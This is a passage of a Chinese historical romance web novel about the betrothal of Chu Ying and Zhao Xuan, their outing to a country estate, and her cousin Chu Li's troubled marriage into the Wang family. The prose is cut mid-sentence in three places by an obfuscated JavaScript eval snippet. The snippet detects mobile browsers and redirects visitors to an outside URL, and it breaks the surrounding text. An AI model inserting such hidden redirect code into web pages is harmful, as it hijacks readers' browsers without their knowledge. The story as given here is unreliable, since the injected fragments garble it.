他这是在按照阿父的吩咐做事! 长随吴远偷偷看了一眼自家郎君…… 郎主是这样吩咐的吗? 郎君,你是不是忘了,郎主的吩咐是让褚家不要觉得赵家小气,不是让褚五娘子不要觉得你小气? 赵煊才不理会这个与自己一起长大长随呢。 他坐到褚鹦身边的石凳上,瞧见褚家娘子喝茶用的精致瓷杯,心里嘀咕这杯茶水还不够他一口喝的。 面上却彬彬有礼:“五娘不要礼物,那是想要我怎样酬谢呢?” “郎君生在边陲,想来必然善用各类兵械。不若舞剑谢我?好让我这个深闺女子见识一下边镇英武。” 她的要求很出奇,哪有小娘子喜欢郎君舞刀弄枪的? 以至于赵煊一开始都没反应过来。 回过神后,他大笑道:“吴远,拿剑来!” “诺,郎君,卑下这就去取剑!” 须臾之间,宝剑被吴远拿来送入园中。 赵煊从他手中接过宝剑,拔剑出鞘,三尺湛湛青锋寒光凛凛。 赵煊走到不远处,意气昂扬,做了一段矫若游龙的剑舞。 褚鹦只见寒光凛凛,宛若飒沓流星,青衣郎君手持三尺青锋,不似市井游侠,倒像辞阙剑仙。 她忍不住赞叹道:“少年剑歌负壮气,南梁奋烈自有时![2]阿郎壮怀英烈,虽是儒家太学生,亦是边境羽林郎,真是让我赞叹。” “能得娘子青目,是赵某的荣幸。” 青年眉目含笑,好像天上骄阳:“我与娘子相处多日,深知娘子不是恋栈深闺之人。园内乐趣平平,大抵不能逗得娘子开怀。不知娘子可愿与我出门玩耍?我想请娘子跑马听戏。” 褚鹦眼睛亮了起来。 读书理账,是赵煊上学时她做的事;宴乐游戏,是赵煊休沐时她受的邀请。 但庭中闲谈,捉二三棋,题几页字,都是做惯了的游戏。 赵煊的新提议,她还真没玩过。 骑马还好,阿父阿母不拘她这个。 甚至还鼓励她打马球强身健体。 但跑马这种危险的运动,父母确实不允许她去,偏生她很向往那种刺激的感觉。 还有听戏! 在白鹤坊,她只能听清商乐,最多再听听燕乐,市井小调几近绝迹,但她在隋国大长公主那里听过俗乐小调,看过百戏杂耍,知道那些戏目,都是极有意思的玩乐项目。 这么久没听过看过了,倒是想念得紧。 “郎君酬我诸多,今日邀我出门玩耍,哪敢请辞?待我手书一封,等我家阿弟到康乐坊后,便与郎君携手同游!” 赵煊点头道:“娘子书就便笺,我便派人去白鹤坊送信,不用娘子操心送信的事。” 而在褚澄抵达赵园时,便看到两个穿着胡服的小郎君站在一起说话。 一个和他差不多高,另一个足足有八尺,个子高得很。 身长八尺的那位就是他未来姐夫,而那个和他差不多高得小郎君…… 就是他阿姐!!! “赵郎君,天祝安康。” 匆匆与未来姐夫打过招呼后,褚澄拉住姐姐的袖子问道:“阿姐,你在别业居住,有没有什么不习惯的地方?” 他还想说,阿姐,你怎么就那么傻,怎么大父说什么你就答应什么? 他还想说,阿姐,你喜欢这个兵家子吗? 他还想说,阿姐,我让小厮捉了癞蛤蟆,悄悄扔到了伯父的被窝里。 虽然很幼稚,但能替你出气比什么都强。 他最想说的是,阿姐,我不要你给我要来的太学名额。 瓜州书院也很好了,我只想你开心。 可赵煊在这里,他什么都不能说。 他只能问,阿姐,你在别业住得习惯吗? “别业很好,有赵郎这样的玉树在侧,我心里很开怀。” “阿弟,你不用挂怀姐姐。要是住得不舒坦,我写不出《赵园赋》来。今天赵郎邀请我出门跑马游戏,我邀请你作伴同游。” “切记!千万不要在阿父阿母那里走漏风声,要不然下次我就不请你了!” 不请我了? 难道你要和赵煊单独出去! 那怎么可以!!! “我保证不告密,阿姐,下次还要找我。” 褚鹦亲昵地摩挲褚澄的胳膊:“我就知道你这小子贪玩,下次还找你,只是不许荒废了学业。” 褚澄重重点头。 赵煊走到姐弟俩身边:“五娘不嘱咐我吗?” 嘱咐你什么? 看着褚鹦黑白分明的眼睛,赵煊笑道:“嘱咐我不要荒废学业。” 怎么还有人喜欢听人劝学? 我只是你未婚妻,还没嫁给你,哪有现在就劝学的道理? 不过想到刚刚的剑舞…… 为了下次还能看,褚鹦决定满足赵煊不痛不痒的小要求。 “那,赵郎君也要笃学,不要荒废学业,不要荒废了赵方伯的心意。” 这说的是赵煊的太学名额。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285506|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>在梁朝,只有四品通贵才有资格荫子入太学读书。 赵元英沙场烈战得来的名额,确实不应该被荒废。 “我受教了,多谢娘子。” 他声音缱绻,眉眼带笑。 褚鹦第一次因为他耳朵发热。 在心里暗骂自己和赵煊八成都有病才会这样奇怪后,褚鹦满脸镇定地道:“好啦,好啦!这些大道理我就不讲了,我又不是学堂里的夫子。赵郎君,我阿弟已经到了,咱们可以出门啦!” “听说你有一匹带有连钱纹样的青骢马,我想见识一下,骑乘一番,不知赵郎可愿玉成?” “当然可以了。” 两人交谈得很热烈,跟在“两位”郎君身后的跟班褚澄不由想,你们有没有觉得,你们两个中间,好像有一个人很多余? 就在这时,褚澄被人拍了一下肩膀。 回头一看,是一个年纪比赵煊大了几岁的精悍汉子。 这人好像是他便宜姐夫赵煊的长随? 不知为何,这汉子满眼无奈。褚澄恍惚间,竟从这汉子眼里读出了“同是天涯沦落人”的感觉。 他连忙摇晃了一下脑袋。 这一定是错觉! 他怎么可能和赵煊的长随有同样的想法和情绪。 加快脚步追上阿姐,褚澄一边歪头笑着撒娇,一边露出阿姐最喜欢的小虎牙。 “阿姐,我也想骑连钱青骢马!” “赵郎君,不知……” “阿弟赤子心性,青霜会喜欢他的。” 吴远:…… 大郎君,你很可以啊。 这么快就叫人家褚家郎君阿弟吗? 郎主,你看到了吗?咱们家的木头桩子都会追求小娘子了! 以前不开窍,只是遇到的娘子不是仙女啊。 现在遇到了褚娘子,咱们家郎君变得可怕得很! 一行人施施然离开康乐坊大宅,褚鹦带着男装的阿谷阿麦乘车,赵煊、褚澄、吴远并一众小厮健仆骑马,众人浩浩荡荡来到郊外。 “真没想到贵府在郊外还有丰美产业!平林漠漠,白鹭纷飞,阡陌交通,鸡犬相闻,田园之景,尽在于斯,着实羡煞旁人。” “我家小小产业,总共没有几顷土地,哪里比得上王沈豪族?” “五娘实在过誉了。” “其实这座庄子上的庄户都是百战老兵。他们中间,有的伤了,有的残了,生活得很困苦。阿父和我都不忍这些老兵继续留在豫州遭受寒苦,这才跑到建业置业给他们生活。” “我家不思进益,只求回本就好。” “赵公和郎君的高义,哪是我们这些富贵膏粱知道的?阿弟,你听见赵郎君的话了,你可服气?” 原本因阿姐要嫁到兵家吃苦,褚澄对赵煊的印象很糟糕。 他知道,这件事祸及阿姐,罪魁当是伯父褚定方一家三口,但生而为人,哪有不意气用事的? 要是没有阿姐的事,说不定他会很赞许赵元英镇守边疆的事功。但问题是,褚鹂犯错,褚赵联姻一事已经涉及阿姐,褚澄怎么可能喜欢赵煊这个未来姐夫? 但今日的见闻,全然超出了褚澄的预料,现在阿姐问他,猝不及防下,他竟说出了自己的真心话。 “我……我!光是这件事,我还算服气吧。” “服气就是服气,不服就是不服,哪有‘还算服气’的道理?” “你言不由衷,不是坦荡君子。这样好了,我罚你不许骑青霜。” 连钱纹青骢马使用权飞了!!! “不要啊,阿姐!!!我错啦!” 褚鹦很开心,畅快地笑起来。 这一笑,皎若太阳升朝霞,灼若芙蕖出渌波。 赵煊只觉,陈思王诚不欺我。 若世间真有洛神,想来也不过如此。 而他的心情,在褚鹦的欢笑声与褚澄的求饶声中,再次变得欢畅起来。 11. 第 11 章 在赵家购买的田庄里,除了安置老兵寒卒家眷耕织的水田外,其余荒田都种上了牧草。 这里既是一片天然牧场,又是一片极佳的跑马场。 秋高气爽,草木枯黄,褚鹦走在这片土地上,轻轻摸了摸青霜的脑袋,然后接过赵煊手中的饴糖喂给青霜。 名马桀骜,按理来说,褚鹦需要花费很长时间才能得到青霜的认可。 但是,或许是因为赵煊的安抚,或许是因为名马有灵,能感受到褚鹦的亲善,没过多久,青霜就让褚鹦上马了。 褚鹦双手揽缰,听风声在耳边呼啸,她的心灵前所未有的自由。 未婚夫君与堂姐暗结珠胎,褚鹦发现端倪后隐而不发,打定主意要用这件事给自家房支谋取利益。 她的计划非常完美,但这么大的事情,每一个时机、每一个细节,都需要她仔细把握。 可她还没有及笄啊! 她这么年轻,哪里比得上褚蕴之那样历经庙堂风雨的宰相心性坚韧?又怎么可能半点压力都没有? 看着云淡风轻,只是因为她已经把所有情绪压到了心底。 最让褚鹦压力大的事情,就是瞒着要父母,因为父亲和母亲是不会同意她“舍身成仁”的计划的。 所以,她不但要苦心筹谋,还需要保守秘密。 她不能和任何亲人提起这件事。 如今事情成功,她看起来很快乐。 但实际上,褚鹦总感觉自己好像踩在棉花上,脚底下空落落的。 有时候做梦,还会梦到现实中的一切全是假的…… 没错,褚鹦很享受自己最优秀的感觉,可完美面具戴久了,也是会累的。 今天,她慢慢骑马,然后加速,加速,加速,最后快成一道迅捷的闪电。又清啸出声,惊起一滩闲散鸥鹭。 她笑了起来。 或许赵煊很适合阿姐。 看着褚鹦的背影,褚澄突然想,如果赵煊能让阿姐快乐,那他的出身根本不算什么。 以阿姐的本事与出身,她自己就能给自己挣出不亚于儿郎的名声与清望,马球会是一例,《赵园赋》更是一例。 至于未来,出生在兵家寒门的外甥外甥女的清望声名怎么博取? 卫玠的舅舅可以说出“珠玉在侧,觉我形秽”这样的话,抬高外甥的令声美誉。 阿姐对他这么好,只要甥男甥女孝顺阿姐,他未尝不可以那样做。 见吴远又牵马过来,褚澄看向未来姐夫:“赵郎君这是?” 赵煊翻身上马,姿态很是潇洒:“我去与你阿姐赛马!” 话音刚落下,赵煊就像利箭般追随阿姐而去。 “五娘子!看看我们谁更快,你赢了我把青霜送你。” “赵郎想要我出什么彩头?” “我听说建业娘子会给心仪的郎君送荷包?我赢了,就要五娘送我一个。” “好,赵郎,你可不许让我。” “我想要五娘的荷包,才不会讲究什么君子风度。五娘,你莫要小瞧我,我不是会小觑女郎本事的俗人。” 褚澄得到了骑乘青霜的机会,但伴随良讯的噩耗,让褚澄不忍卒闻。 阿姐输给了赵煊! 她要给赵煊做荷包了! 但是他都没有阿姐做的针线! “青霜啊青霜,你说说,你家主人为什么不能让让我阿姐呢?” “你家主人让我阿姐这么开心,我就不把他向我阿姐讨荷包的事情告诉阿父了。他受阿父刁难,我阿姐心里不会高兴的。” “虽然我晓得,就算阿父心里不痛快,可能也不会为难你家主人……” 如果没有约定婚姻,褚定远怎么对赵煊恶声恶气都无所谓。 可既然已经约定婚姻,就没必要在婿子无错的时候刁难人家了。 刁难讨厌的女婿,自己心里痛快了,可得罪了夫婿的小娘子怎么办? 因此,不论是褚定远,还是褚澄,即便不喜欢赵煊兵家子的身份,更不喜欢这桩婚事,但在赵煊面前,褚家父子表达的不满,只是被夺走女儿/阿姐后的小小妒忌。 这是为了表示褚鹦的尊贵与娘家人对褚鹦的爱重,而不是在拿赵煊出气——那么做根本没有任何用处,不是吗? 在吴远指导褚澄骑马时,赵煊和褚鹦已经回到田庄明堂安坐。 赵煊说要褚鹦听民间戏乐,就一定要让褚鹦听到尽兴。 在产生邀请褚鹦出门散心的想法后,赵煊就聘请了一队民间伶人侯在田庄,随时准备着给褚鹦表演。 礼乐是国家大事,从九重宫阙到闾里人家,都有欣赏音乐的追求。高门里有高山流水,民间有活泼小调,各有其美,各有其趣。 真论旋律和谐、演奏水准,还是清商雅乐更妙。但听久了雅乐,是会产生审美疲劳的,这个时候,就需要乡野词曲调剂趣味。 褚鹦就是这样。 于是,跑马归来后,她神清气爽地连点十支曲子。 相处多日,赵煊感觉褚鹦这娘子看着云淡风轻,但心里并非毫无挂累。 这是一种直觉。 他选择相信自己的直觉。 这是赵煊第一次对人心动,这种感觉非常美好。他得到了美好,也希望给他带来美好的女郎快乐。 这次出来,主要目的不是为了跑马,更不是为了听曲。他只是想带着褚鹦,做一些想做,又很少有机会做的事情。 每次体验新事物时,赵煊都会感受到喜悦,想来褚鹦也会如此。 就算褚鹦与他不同,他们一起出门玩乐,同样能愉悦身心,未尝不是好选择。 乐声琅琅,先是羯鼓,后是琵琶,然后是箫,是瑟,是梵呗,是筚篥,是胡笳。 褚鹦耳边是绵密婉转的音乐,是歌姬割金裂玉的嗓音,先是《踏摇娘》,后是《南乡子》,曲词并不典雅,只是在叙述民间爱情故事,但音色丰富,韵律和谐,还有舞伶敷演故事,是一场很不错的表演。 褚鹦如痴如醉,很是开怀,若说音乐水平,这班伶人只算中平。但是,若论起故事里的趣味,却不落窠臼,别致新颖。 赵煊他真的很用心。 于是,演奏结束后,褚鹦心情很好:“秋娘擅舞,善才擅乐,我今日已闻昆山玉碎。阿谷,阿麦,赏她们彩帛。” 因为要听戏乐,褚鹦出门前就让家仆备好了尺头。 她听得开怀尽兴时,总是会与伶人们同享欢乐。 听到褚鹦的赞赏后,班头康延昌出列谢恩。 他恭声道:“乡野小戏,难称端雅。能博取郎君、娘子一瞬欢颜,便是小人们的福分。” “多谢娘子美誉厚赏,仆祝祷娘子平安喜乐,芳华永继。” 这话占了口彩,赵煊又赏了他们钱钞,康延昌登时千恩万谢起来。 而在伶人们退下后,赵煊问褚鹦道:“食不厌精,脍不厌细,是世家的礼仪。但今日天色已晚,不若留在田庄用膳?庄上庖厨擅制羊肉,别有一番风味。” 褚鹦没有拒绝赵煊的建议。 一来现在回城,已经赶不上午膳的时间了;二来,现在她兴致颇高,很愿意在这田庄里多待一会儿。 赵煊家庖厨上人手脚麻利,没过多久,就整治出一桌好餐食。 虽然只是烤羊肉与乡野小菜,但也别有风味,至少褚鹦觉得这味道挺不错的。 食不言、寝不语,吃饭时几人都没多说话。不过褚鹦姐弟二人颇有些诧异——赵煊的饭量这么大吗? 这么大的碗,能吃三碗? 再次看看手上的饭碗,这个碗,貌似比他们家的饭碗要大两三圈。 褚鹦和褚澄对视一眼,确定了一件事。 赵家一定很费稻谷。 都说儿子肖父,赵元英的饭量肯定小不了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285507|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 餐后几人漱口洗手,整理好仪容后,褚澄凑到姐姐身边,绘声绘色地描述他骑乘青霜时的兴奋。 褚鹦笑道:“那你得和赵郎好好学骑射了,他的马术可比你高明多了。日后在太学,有赵郎照看你,阿父阿母,还有我,都能少操不少心。” “我受教了,受教了!” 应付父母兄姐,褚澄向来是有一套的。 那就是不论亲长说什么,他都乖乖应是,但背后该怎么做还怎么做。 和赵煊学骑射可以,但让赵煊“照看”他,还是算了吧。 有姐姐在,赵煊肯定会变成监督他的眼睛,才不会做纵容他的未来姐夫。 车轮辘辘,夕阳西下,在城门落锁前,褚鹦他们折返回城。 赵煊把褚鹦送进别业,正准备离开,褚鹦却叫住了他。 灯火葳蕤,烛火下的褚鹦格外温润,赵煊听褚鹦对他道:“阿郎,我今天很开心。” 以前,她都是叫自己郎君或赵郎的。 今天,是她第一次叫他阿郎。 赵煊心里泛起点点涟漪:“阿鹦,我今天也很开心。” 月上中天,透过小窗照进来,中堂里站满仆役,但世界突然安静下来。 她说她今天很开心。 他说他今天也很开心。 他们明明没有说任何越礼的话,但又好像什么话都说了。 “过些日子,我就要回家了。” 褚鹂已经出嫁了。 她没有继续住在别业的道理。 “到时候,我会去白鹤坊探望娘子。” 山不就我,我自就山。 赵煊想都没想,就给出了答案。 “好,我会静待阿郎休沐的。” “太学名儒诸多,阿郎在此治学,想来一定能让我刮目相看。” 赵煊回她道:“一定会的。” 她第一次主动劝学了,他知道这意味着什么。 烛芯爆破灯花,打碎满室寂静,在赵煊离开后后,褚澄挥退仆役,问褚鹦道:“阿姐,我知道我,的询问于事无补。但我还是想问你,你喜欢赵煊吗?” “我想,赵煊他会是我的良人。” “你这个小家伙,就不要为赋新词强说愁了。” “我对赵煊的印象很好,但是,就算我不喜欢他,我也会把日子过好的。想想卓文君和郗道茂,嫁给喜欢的人,未必会有好结局。” “阿澄,我们女郎,本就不如你们男子从容。现在这样,已经很好很好了。” 卓文君与司马相如那般相爱,最后还不是败给了年华衰老? 郗道茂与王献之举案齐眉,最后依旧输给了天家皇权。 褚澄轻轻叹了口气,他忽然觉得,现在自己说什么都显得很轻浮。 因为他是一个永远无法真正设身处地思考的男人。 所以最后他只依偎在姐姐怀里:“阿姐,有些时候,我希望你嫁给你喜欢的人,有些时候,我又希望你始终都这么清醒。” “我是男人,还不知道男人是什么样子吗?我们这些人里,终究还是负心薄幸的人更多些。” “阿姐,我只盼你永远都不伤心。” “士之耽兮,犹可脱也;女之耽兮,不可脱也。阿澄,我六岁就读完了《诗经》。这个道理,我比你明白。” “但我不会因噎废食,我依旧会尝试喜欢,尝试爱慕,尝试相思,尝试所有我没有经历过的东西。” “你不用担心我会因此受伤,因为这是我必须拥有的经历。而我的生命里,还有比相思更重要,更有力量,更能支撑我走下去的东西。” 比如说理想,比如说亲人。 这些东西,哪个不比相思重要? 而赵煊……如果君心似我心,赵煊自然会变成她最亲爱的战友,最亲密的亲人。 她定然不会辜负别人的相思意。 12. 第 12 章 嫁到王家的日子,不像褚鹂想象中那样美好。 三郎是很爱她,但老夫人和阿姑都不喜欢她这个新妇。 甚至因为她入门,平日只知吃斋念佛的老夫人还特意走出佛堂,仅仅为了在敬茶时送她一本《女则》。 绝对的羞辱。 公婆的冷眼,妯娌的议论,褚鹂不堪其扰。 唯一的好消息是,她还怀着三郎的孩子,而阿姑她,很看重这一胎。 王荣是褚鹂坚信自己做出正确选择的源精神支柱,因为王荣对她许诺:“等我出仕后,我们的日子一定会越来越好的。” 他还说:“阿鹂,在我心里,你是最好的娘子。” “我会一心一意待你的。” 情郎的许诺,让褚鹂心里比蜜还甜。 但两相情好,改变不了现实世界的无情冷漠。 王家不会苛待怀孕的儿媳,更不会好心不给褚鹂准备回门礼物,恶了褚家这门姻亲。 但想让白夫人给儿媳准备从头到脚的新衣新头面,以示王家对新妇的喜爱重视,那就绝对不可能了。 就算褚鹂敢提出这样的要求,白夫人也会让褚鹂哪凉快哪待着去。 不过褚鹂还不算全然没脑子,自然不会跑去自取其辱。 可她嫁妆钱少得可怜,又不想让褚家侍婢看出她的狼狈。这样一来,她就只能向王荣求助了。 眼下,这对夫妇正处于蜜月期中,王荣对褚鹂那叫一个言听计从。发现自家美人娘子含泪的委屈模样,王荣立刻上前询问缘由。 得知褚鹂的忧虑后,他连夜派人出门,去坊市里给褚鹂买来了衣衫头面。 待健仆把衣服送回家后,褚鹂只觉衣衫不和心意。从小到大,她少有穿成衣的时候,现在却只能将就了。 可是,有这一领锦衣,总比没有强上许多。好在头面是王荣花了大价钱买的好东西,勉强能撑起王家三少夫人的体面。 抚摸着衣服上的刺绣,褚鹂酸溜溜地想,如果是褚鹦嫁来王家,白夫人恐怕早就准备好衣服头面送过来了吧? 唉,多思无益。 眼下这局面,也是她求仁得仁。 褚鹂三朝回门时,只有褚定方一人招待女儿女婿。 花厅里气氛冷清,父女翁婿三人没什么好说的,褚定方是这桩婚事的最大受害者,看到他们两个就憋气,褚鹂和王荣这对小夫妇,则是感到了褚家的怠慢,心里颇为不悦。 寂静,还是寂静。 最终还是褚定方开口打破了这片寂静。 他对褚鹂道:“去看看你阿母吧,我和女婿在这里说话。” 郑氏犯了大错,阿父拿出来的证据打碎了褚定方所有幻想。几十年夫妻契阔,恍若一场大梦。 褚定方愤懑,心痛,憎恨,可他对郑氏,终究还是有感情的。 褚鹂只觉如释重负。 “阿父,我这就过去。” 离开花厅前,王荣与妻子依依惜别,褚定方心里不痛快,直接开口打断他们的黏黏糊糊。 “拉拉扯扯像什么样子!四娘,还不赶紧去探望你阿母!” 褚鹂忙带着侍女离开了。 王荣强扯出一抹笑来:“泰山大人教训的是,四娘有孕在身,我担心她的身体状况。关心则乱,这才失礼,还请岳父大人见谅。” 哼! 你们最失礼的地方是现在站在我们褚家黏黏糊糊拉拉扯扯吗? 你们最失礼的地方是婚前珠胎暗结,你这不要脸的居然还好意思跟我提起什么身孕! 褚定方语气不善:“高门郎君,玉质翩翩。我这老物哪敢教训?三郎,你什么时候出仕,王相公有安排吗?” “我阿父说,明年年初尚书台天官考功中外官员,我与几个侄子到那时再入仕……” 王荣言之凿凿,满脸自信地讲他入仕的安排。 却根本没有意识到,上次王正清跟他说这件事时,他私通良家的事情还没有事发呢。 而现在,犯错的他还有机会获得王正清的拔擢吗? 诚然,王荣是王正清的老来子,王家人都很宠爱他。 但老来子的身份,也意味着他两个哥哥的孩子和他一样大。 而他们,也到了可以入仕的年纪。 王家的确势大,但也没有霸道到占据所有清贵职位,全都交付给自家儿孙的能力。若王家真有这份能力,天下还姓魏做什么? 除此之外,还有褚蕴之这只老狐狸,他还在向王正清索要补偿呢! 此时此刻,已经不是彼时彼刻。王正清还会给王荣出仕的机会吗? 补偿褚家后,王家能争取到的名额一定会变少。在这种情况下,一边是清清白白的孙子,一边是满身污水的儿子,这个选择题,还用犹豫吗? 王正清一定会选孙子。 就连白夫人都不会多说什么。 毕竟,孙子同样是她的骨血呀! 而王荣他,居然直到现在还对自己的前程十分笃定,这已经佐证他在政治方面的潜力有限了…… 擅长诗词歌赋的名士,不一定能当上高官。 面如傅粉,唇若涂朱的面孔,顶不上金块珠砾。 褚定方喟然长叹,这就是他那个好女儿的选择! 另一边,在侍女的指引下,褚鹂弃陆登船,拂过绿波秋水,抵达褚家佛堂。 这是她第一次见到母亲禁足的居所。 在出嫁前,她同样被禁足了。 而这座阿母禁足的所在,坐落于湖心汀州上,与褚家人日常生活居所相距甚远。 汀州上寂静无声,只有寒鸦嘎嘎叫着,让人心里空落落的。 佛堂的建筑并不残破,但看着非常压抑,无端让人生出心惊肉跳之感。 经过一层又一层看守仆妇的检查,褚鹂又羞又恼地走进佛堂最里面的一间屋舍。 定睛一看,供台上供着的是大父信奉的药师佛,供台下跪着的就是她的母亲郑氏! 郑夫人原本生着一头惹人艳羡的乌黑长发,但现在,她的鬓角全都愁白了,脸色更是憔悴,褚鹂看到后,眼泪一下子就落了下来:“阿母……” 木鱼声突兀地停下,又突兀地响起。 沙哑的声音伴随着木鱼声一起响起:“你哭什么?” “是我想差了,才落得现在的下场。这与人无尤,我已经认命了。” 是她以为褚家与郑家没有什么区别,这才动了邪念。 郑家人遇到褚鹂这种事,无非是大事化小小事化了,把褚鹂的嫁妆补偿给褚鹦,也就够了。 只要不让女儿嫁到兵家,财货损失再多,郑夫人都承受得起。 谁能想到,阿翁居然会因为这样的小事,就让郎主辞官,甚至生出了废长立幼的心思! 而她,不但毁了夫君的权位,还坏了儿子的前程,已经罪该万死。 现在在这里赎罪,也是她应有的命数。 “你嫁到王家去,生活必然很艰难,我就不多问了。” 褚鹂身上的锦绣衣裳看着华美体面,远不如家里绣娘缝制的精致合心。郑氏操持家事多年,哪有看不出来女儿身上的衣服是不是成衣的道理? “现在让我问问你吧,四娘子,告诉阿母,你在王家立足的根本是什么?” “是王郎!只要他护着我,阿姑不喜欢我也没关系。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16285508|182566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “不对!四娘子,你立足的根本是你肚子里的孩子。” “没有阿江,我现在能安安稳稳待在这里吗?我的罪孽不止你和王荣这一桩,你大父是看在你哥哥的面子上饶过我的。” “褚鹂!阿母把自己的伤口撕开给你看,是为了告诉你,一定要保住你肚子里的孩子,一定要教他成才。” “只有你的孩子功成名就,你的错误才能翻篇。其他人,你哥哥,你丈夫,谁出息富贵了都没有这样的效果,你记住了吗,阿鹂?” 郑夫人紧紧攥着褚鹂的手腕,把她攥的生疼。 褚鹂含着泪水点头:“阿母,我记住了。” 郑夫人怅然若失地松开手。 旋即,她看到了女儿手腕上的红痕,连忙心疼地捧起女儿的手腕,轻轻吹气道:“记住就好,记住就好……” “四娘,阿母把你攥疼了吧?” “不疼……不疼,阿母,我一点也不疼。” 带着哭腔的声音响起,这对母女抱头痛哭起来。 可是从始至终,她们后悔的只是她们不晓得她们做出这样的事情,会带来这样严重的后果。 在她们不知道褚鹦有意无视王荣和褚鹂私会的前提下,她们依旧不觉得自己对不起褚鹦。 ——甚至,在事发前,她们还觉得没有发现任何端倪的褚鹦很傻。 可怜之人必有可恨之处,这句话说的,大概就是郑夫人母女这样的人了吧。 从褚家离开回到王家后,白夫人把儿子叫了过去。 把甜汤推给王荣后,白夫人问他:“今天,褚相公见你们了吗?” 王荣喝了一口甜汤,甜蜜温暖的感觉抚慰了他在褚家受伤的心:“没有,是岳父大人招待孩儿和媳妇的。相公有要事要处理,不在家中。” 什么要事,分明只是借口! 听到褚蕴之没见王荣,白夫人的心已经凉了半截:“那新妇的兄弟呢?” 也没有见…… 王荣终于后知后觉意识到了不对,但他嘴硬道:“大舅兄宦游在外,其他几个庶出兄弟不见也罢。” 白夫人被他理所当然的态度气得仰倒。 这门姻亲,大抵是不能给王荣带来任何帮助了。 她狠狠地戳儿子的额角:“你啊你!你这个没志气没根行的孽障!要是听我的话,哪有今天的冷遇!真不知道新妇给你灌了什么迷魂汤……” 王家宅门内的事,褚家人自是不知。 在褚鹂不咸不淡的回门结束后,褚定远夫妇前往别业接女儿回家。 马车上,杜夫人搂着女儿的肩头:”五娘,你受苦了。要不是担心你触景生情,我才不会让你避让那对贱人的婚礼。” 褚鹦靠在杜夫人怀里:“阿母,阿姐结婚,就算场面再冷清,礼数上也要过得去。” “婚礼时家里肯定闹哄哄的,我不喜欢。能躲过这一遭,我高兴还来不及,哪有什么委屈的?” “我听你阿弟说,你和赵家郎君相处得很好?怎么样,你和他待在一起开不开心?” 日子是小夫妻两个人过的。 让褚鹦来别业住,未尝没有让她多和赵煊见面,好在婚前培养感情的打算。 褚鹦假装羞涩,低声道:“开心的。” 看到女儿难得的娇羞模样,杜夫人松了一口气。 阿澄说,赵煊待女儿很殷切,很喜欢阿鹦。 如果阿鹦觉得赵煊能让她开心,那他们勉强也算是两情相悦。 这样是很好的。 有情虽不能饮水饱,但唯有互相喜欢,才不会意难平。 要是这么看,这桩婚事还不算太糟糕…… 13.第 13 章 三思楼是褚鹦从小住到大的居所。 除了去外祖母家做客,这次去别业,还是褚鹦第一次离开三思楼这么长时间。 回到家里,褚鹦打心眼里觉着舒坦。 平乐坊虽好,终究不是自己的家。 瞧见褚鹦这里看看,那里摸摸的模样,杜夫人只觉自己看到了一只活泼可爱的三花猫咪——怪不得郎主给女儿取了“狸奴”这样可爱的乳名。 她爱怜地道:“等你和赵煊定亲,阿母派人去康乐坊,在那边给你建一栋一模一样的小楼。” 杜夫人舍不得女儿出嫁后住得不习惯。 “我不要,阿母,那么做太靡费了。” “阿母给女儿花钱天经地义,我倒要看看谁敢说我靡费!” “要是你阿父这么说,我就把他赶去书房。” 褚鹦连忙为无辜的阿父解释起来。 “这全是女儿自己的想法,阿父才不会那样说,还请阿母手下留情呀!” 母女两个凑在一起说了好久心里话,在褚鹦的盛情邀请下,杜夫人决定,今晚要留在三思楼跟女儿抵足而眠。 至于褚定远这个倒霉蛋,前些日子还在思念宝贝女儿。结果接回女儿后,他又痛失夫人,真是呜呼哀哉! 褚鹦回家后不久,褚定远收到一条好消息。 在王正清、褚蕴之的斡旋与赵元英的举荐下,朝廷任命褚定远为东安郡太守。 等到现任东安太守任满致仕后,褚定远就可以走马上任。 对于梁朝的大臣来说,大郡官长是一项非常重要的履历。 没做过大郡长官的臣子,不能被铨选进尚书台做侍郎,更不能被铨选进凤阁做郎中。 而这几乎就意味着,没做过大郡长官的臣子不能拜相。 朝廷里六位相公,不是尚书台侍郎出身,就是凤阁郎中出身,毫无例外。 对褚家来说,东安太守的位置也相当重要。 褚家在中原地方州郡无人的情况,已经不是一天两天了。 赵元英拿出来的东安太守之位,对褚家来说,是撕破僵局的绝佳切口。 至于为什么赵元英在东安太守一位上的话语权那么重…… 整个南豫州和徐州都处于赵家北府军的绝对控制下,赵元英说话能没用吗? 朝廷想往南豫州塞地方官,哪次不需要赵元英点头? 不过出了豫州与徐州,赵元英的话就不好使了,这同样是事实。 要是赵元英的话在梁朝哪里都管用,建业名门就不会嘲笑褚鹦嫁给兵家寒伧了。 他们只会恭喜褚鹦有福气,还没及笄就被定下来做太子妃了。 褚鹦前脚回家,赵煊后脚就前往太学销假。 